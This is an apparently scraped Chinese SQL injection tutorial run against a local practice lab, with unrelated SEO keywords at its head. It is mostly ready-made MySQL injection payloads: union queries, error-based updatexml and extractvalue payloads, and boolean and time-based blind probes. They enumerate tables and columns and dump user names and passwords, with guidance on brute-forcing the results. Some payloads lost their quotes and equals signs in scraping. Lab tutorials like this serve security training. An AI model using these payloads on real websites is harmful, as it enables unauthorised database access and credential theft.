小米网站设计,wordpress 按钮支付,易语言做购物网站,深圳网站建站公司文章目录 一、MYSQL数据库常用函数二、MYSQL默认的4个系统数据库以及重点库和表三、判断数据库类型四、联合查询注入1、具体步骤#xff08;靶场演示#xff09;#xff1a;1#xff09;首先判断注入点2#xff09;判断是数字型还是字符型3#xff09;要判断注入点的列数… 文章目录 一、MYSQL数据库常用函数二、MYSQL默认的4个系统数据库以及重点库和表三、判断数据库类型四、联合查询注入1、具体步骤靶场演示1首先判断注入点2判断是数字型还是字符型3要判断注入点的列数4获取数据库在网页中的显示位5构造POC查询用户名和数据库名6查库的所有表名7查出特定表的所有字段名8查询users这个表的所有数据9使用另一种方式查看数据 五、报错注入1、MYSQL常用使用的报错函数1floor( )2extractvalue( )3updatexml( )4geometrycollection( )5multipoint( )6polygon( )7multipolygon( )8linestring( )9multilinestring()10exp( )11gtid_subset( ) 2、报错注入步骤靶场演示1确定数据库出错会在页面上显示2寻找注入点参考联合注入3判断是数字型还是字符型参考联合注入4使用报错函数构造轮子5获取数据库名和用户名6获取所有的表名7获取特定表的字段名参考联合注入8获取特定表的数据参考联合注入 3、报错注入有字符串长度限制 六、盲注1、布尔类型盲注2、布尔盲注注入步骤1找到注入点参考联合注入2构造轮子3获取当前用户名和数据库名长度4获取当前用户名和数据库名5获取当前数据库所有的表名的长度6获取当前数据库所有的表名的名字7获取users表的所有字段名总长度8获取users表的所有字段名名字9获取users表的所有数据每一行的总长度10获取users表的目的数据 3、时间盲注4、时间盲注注入步骤1寻找注入点参考联合注入2判断是数字型还是字符型参考联合注入3测试sleep函数有没有被过滤是否会被执行4获取当前用户名和数据库长度5获取当前用户名和数据库名6获取当前数据库所有的表名的总字符串长度参考布尔盲注7获取当前数据库所有的表名参考布尔盲注8获取users表的所有字段名的总字符串长度参考布尔盲注9获取users表的所有字段名参考布尔盲注10获取users表的目的数据参考布尔盲注 一、MYSQL数据库常用函数 二、MYSQL默认的4个系统数据库以及重点库和表
重点库information_schema 三、判断数据库类型
PHP的网站常用数据库为MYSQL、PostgreSQL 判断数据库类型
MYSQL3306PostgreSQL5432MSSQL1433 四、联合查询注入
使用场景数据库在页面中存在显示位。
UNION操作符用于连接两个以上的SELECT语句的结果组合到一个结果集合中。前提是两个select必有相同列。
1、具体步骤靶场演示
1首先判断注入点
如下 这里就可以确定注入点是在id这个位置
2判断是数字型还是字符型
使用1/1和1/0方式来进行测试 1/1和1/0都不报错也就是说没有反应说明不是数字型。
直接添加1个单引号和2个单引号测试 1个单引号发生报错2个单引号不报错说明这是字符型。
3要判断注入点的列数
使用order byorder by 是用来排序的。假如order by 3不报错order by 4发生报错这就说明该表只有3列。 如下 使用的POC http://localhost/Less-1/?id1 order by 4--
对应的SQL语句 select * from 表名未知 where order by 4; #让他报错 4获取数据库在网页中的显示位
知道列数后就需要获取数据库在网页中的显示位就是显示在网页上的字段可以使用union来拼接错误查询和自我构造的select语句。
如下 http://localhost/Less-1/?id1
对应的SQL语句 select * from 表名未知 where id1; 此处页面上显示 Your Login name: Dumb Your Password: Dumb http://localhost/Less-1/?id2
对应的SQL语句 select * from 表名未知 where id2; 页面上显示 Your Login name: Angelina Your Password: I-kill-you 构造错误的select查询字段例如把id1改成id-1 使用的POC http://localhost/ Less-1/?id-1 union select 1,2,3 --
对应的SQL语句 select * from 表名未知 where id-1 union select 1,2,3; 页面上显示 Your Login name: 2 Your Password: 3 这样子就知道显示位是数据表的第2列和第3列了。
5构造POC查询用户名和数据库名
在显示位上构造要查询的函数例如当前用户名和数据库名 构造POC http://localhost/ Less-1/?id-1 union select 1,user(),database()--
对应的SQL语句 select * from 表名未知 where id-1 union select 1,user(),database(); 页面上显示 Your Login name: rootlocalhost Your Password: security 这样我就知道当前数据库的用户名和数据库名了。
6查库的所有表名 使用的POC http://localhost/ Less-1/?id-1 union select 1,2, table_name from information_schema.tables where table_schemasecurity--
对应的SQL语句 select * from 表名未知 where id-1 union select 1,2,table_name from information_schema.tables where table_schemasecurity; 上面就只会输出第一个表名字email而不会输出全部的表名
输出所有的表名使用group_concat()函数来拼接输出 使用的POC http://localhost/ Less-1/?id-1 union select 1,2, group_concat(table_name) from information_schema.tables where table_schemasecurity--
对应的SQL语句 select * from 表名未知 where id-1 union select 1,2, group_concat(table_name) from information_schema.tables where table_schemasecurity; 这样就知道security这个数据库里面所有的表名字emailsreferersuagentsusers
7查出特定表的所有字段名 使用的POC http://localhost/ Less-1/?id-1 union select 1,2, group_concat(column_name) from information_schema.columns where table_schemasecurity--
对应的SQL语句 select * from 表名未知 where id-1 union select 1,2, group_concat(column_name) from information_schema.columns where table_schemasecurity; 现在这里就输出了security这个数据库里面所有表的所有字段名称
现在又有另一个问题了就是我只想知道敏感数据表的字段名例如users这个表里面的字段名这时候就要 使用的POC http://localhost/ Less-1/?id-1 union select 1,2, group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers--
对应的SQL语句 select * from 表名未知 where id-1 union select 1,2, group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers; 现在这样子就知道了users这个表的所有字段名假设知道了字段是idusernamepassword
8查询users这个表的所有数据 使用的POC http:// localhost/ Less-1/?id-1’ union select 1,group_concat(username), group_concat(password) from users--
对应的SQL语句 select * from users where id-1 union select 1,group_concat(username), group_concat(password) from users; 这样就把所有的学生名和密码都查出了同时也知道了显示位显示的表就是users表
美化一下 使用的POC http:// localhost/ Less-1/?id-1’ union select 1,2, group_concat(username,^,password) from users--
对应的SQL语句 select * from users where id-1 union select 1,2, group_concat(username,^,password) from users; 9使用另一种方式查看数据
也可以不使用group_concat()函数使用concat()limit的方式来查看表的数据。 使用的POC http:// localhost/ Less-1/?id-1’ union select 1,2,group_concat(username,^,password) from users limit 0,1--
对应的SQL语句 select * from users where id-1 union select 1,2,group_concat(username,^,password) from users limit 0,1; 这样子就可以一条一条来看。 五、报错注入
使用场景数据库错误提示会在页面上显示。
1、MYSQL常用使用的报错函数
1floor( )
常用注入语法格式 select * from test where id1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2)) x from information_schema.tables group by x) a); 2extractvalue( )
extractvalue(xml_frag, xpath_expr) 从一个使用xpath语法的xml字符串中提取一个值。
xml_fragxml文档对象的名称是一个string类型。 xpath_expr使用xpath语法格式的路径。
若xpath_expr参数不符合xpath格式就会报错。而~ 符号(ascii编码值0x7e)是不存在xpath格式中的 所以一旦在xpath_expr参数中使用~符号就会报错。
常用注入语法格式 select * from test where id1 and (extractvalue(1,concat(0x7e,(select user()),0x7e),1)); 3updatexml( )
常用注入语法格式 select * form test where id1 and (updatexml(1,concat(0x7e,(select user())),1)); 4geometrycollection( )
常用注入语法格式 select * from test where id1 and geometrycollection((select * from(select user())a)b)); 5multipoint( )
常用注入语法格式 select * from test where id1 and multipoint((select * from(select user())a)b)); 6polygon( )
常用注入语法格式 select * from test where id1 and polygon((select * from(select user())a)b)); 7multipolygon( )
常用注入语法格式 select * from test where id1 and multipolygon((select * from(select user())a)b)); 8linestring( )
常用注入语法格式 select * from test where id1 and linestring((select * from(select user())a)b)); 9multilinestring()
常用注入语法格式 select * from test where id1 and multilinestring((select * from(select user())a)b)); 10exp( )
常用注入语法格式 select * from test where id1 and exp(~(select * from(select user())a)); 11gtid_subset( )
常用注入语法格式 select gtid_subset(user(),1); 2、报错注入步骤靶场演示
1确定数据库出错会在页面上显示 2寻找注入点参考联合注入
3判断是数字型还是字符型参考联合注入
4使用报错函数构造轮子 这里就使用updatexml()函数这个函数第二个参数要是有特殊字符是会报错的这里0x7e是“~”的URL编码。
使用的POC http://localhost/ Less-1/?id1 and updatexml(1,0x7e,1)--
对应的SQL语句 select * from users where id1 and updatexml(1,0x7e,1); 5获取数据库名和用户名 使用的POC http://localhost/ Less-1/?id1 and updatexml(1,concat(0x7e,database()),1)--
对应的SQL语句 select * from users where id1 and updatexml(1,concat(0x7e,database()),1); 6获取所有的表名 使用的POC http://localhost/ Less-1/?id1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemasecurity)),1)–
对应的SQL语句 select * from users where id1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemasecurity)),1); 7获取特定表的字段名参考联合注入
8获取特定表的数据参考联合注入
3、报错注入有字符串长度限制
报错注入常用的函数通常会有字符串长度限制其最长输出32位。如果直接使用group_concat()函数会输出不全。
举例 使用的POC http://localhost/Less-1/?id1’ and updatexml(1,concat(0x7e,(select group_concat(username,^,password) from users)),1) --
这样子只能输出32个字符串长度的内容无法输出全
这时候就要使用limit来进行操作来进行一个一个的输出 使用的POC http://localhost/Less-1/?id1’ and updatexml(1,concat(0x7e,(select concat(username,‘^’,password) from users limit 0,1)),1) -- 六、盲注
1、布尔类型盲注
使用场景页面没有显示位数据库查询出错也不会在页面上显示只会有查询正确和查询错误两种页面提示例如下面这种情况
正常为true
添加1个单引号为false
添加2个单引号为true
2、布尔盲注注入步骤
1找到注入点参考联合注入
2构造轮子 使用的POC http://localhost/Less-8/?id1 and 1if(11,1,0)-- 使用的POC http://localhost/Less-8/?id1 and 1if(12,1,0)--
3获取当前用户名和数据库名长度 使用的POC http://localhost/Less-8/?id1 and 1 if(length(user())8,1,0)--
接着可以使用BP爆破长度 这样子就猜出用户名字符串长度是14。使用同样方法可以得出当前数据库名的长度是8。
4获取当前用户名和数据库名
方法一 http://localhost/Less-8/?id1 and 1if(mid(user(),1,1)q,1,0)--
同样可以使用BP爆破 爆破两个payload 第一个爆破位置只使用数字 第二个爆破字符就把英文字母数字特殊符号添加进去注意服务器是否有大小写区分。 这样就爆破出来了就得出当前用户名是rootlocalhost。同样方法可以获取到当前数据库名是security
方法二 当截取函数是被禁用无法使用那么就使用like‘_’ 举例上面我已经知道当前用户名的字符串长度是14需要获取到用户名的名字 使用的POC http://localhost/Less-8/?id1 and 1 if(user()like______________,1,0)--
这里的返回值是ture。因为正则里面下划线”_”是可以代表任意字符的。 这样子我们就可以使用BP逐位逐位地进行爆破从而获取到对应的用户名名字。
5获取当前数据库所有的表名的长度 构造POC http://localhost/Less-8/?id1 and length((select group_concat(table_name) from information_schema.tables where table_schemasecurity))10--
使用BP爆破 这里就获得长度是29位。
6获取当前数据库所有的表名的名字 构造POC http://localhost/Less-8/?id1 and mid((select group_concat(table_name) from information_schema.tables where table_schemasecurity),1,1)a--
使用BP进行爆破 上述第一个payload知道是29位字典就选到29 第二个payload的字典就把英文字母数字特殊符号添加进去注意服务器是否有大小写区分。 好了这样就知道所有的表名字是emailsreferersuagentsusers
7获取users表的所有字段名总长度 构造POC http://localhost/Less-8/?id1 and length((select group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers))10--
同样BP爆破 这样子就知道了users表的字段名总字符串长度是20
8获取users表的所有字段名名字 构造POC http://localhost/Less-8/?id1 and mid((select group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers),1,1)a --
同样使用BP爆破 这里就获得users表的字段名称是idusernamepassword
9获取users表的所有数据每一行的总长度 构造POC http://localhost/Less-8/?id1 and length((select concat(username,^,password) from users limit 0,1))10--
开始使用BP爆破 这样子就知道该表一共有13行并且每行concat拼接后对应的字符串长度。
10获取users表的目的数据
由于上面已经知道该表的字段名、数据行数、每行拼接后的总字符串长度那么就可以逐行地进行爆破。 使用的POC http://localhost/Less-8/?id1 and mid((select concat(username,^,password) from users limit 0,1),1,1)a -- 具体BP爆破就不多说了操作差不多。
3、时间盲注
页面返回值只有一种true。无论输入任何值返回情况都会按正常的来处理。加入特定的时间函数sleep通过查看web页面返回的时间差来判断注入的语句是否正确。 例如下面这种情况
4、时间盲注注入步骤
1寻找注入点参考联合注入
2判断是数字型还是字符型参考联合注入
3测试sleep函数有没有被过滤是否会被执行 sleep(1)相应时间时13158毫秒 sleep(0)相应时间时16毫秒
这里就说明sleep()函数会被执行
4获取当前用户名和数据库长度 使用的POC http://localhost/Less-48/?sort1 and if(length(user())10,sleep(1),1)-- 这里就是假如猜测的长度争取就会执行sleep(1)。
使用BP爆破
下面需要勾选响应时间 多了一列选项由于正确就会执行sleep(1),所以相应时间最长的那一个就是正确的结果这里就是14。同理爆破数据库名长度是8。
5获取当前用户名和数据库名 http://localhost/Less-48/?sort1 and if(mid(user(),1,1)a,sleep(1),1)--
接着使用BP爆破 第二个爆破payload字典注意把英文字母数字特殊符号添加进去注意服务器是否有大小写区分。 这里就能看出来爆破出来的用户名按照顺序排列是rootlocalhost同理使用同样的方法爆破获得数据库名是security。
6获取当前数据库所有的表名的总字符串长度参考布尔盲注
7获取当前数据库所有的表名参考布尔盲注
8获取users表的所有字段名的总字符串长度参考布尔盲注
9获取users表的所有字段名参考布尔盲注
10获取users表的目的数据参考布尔盲注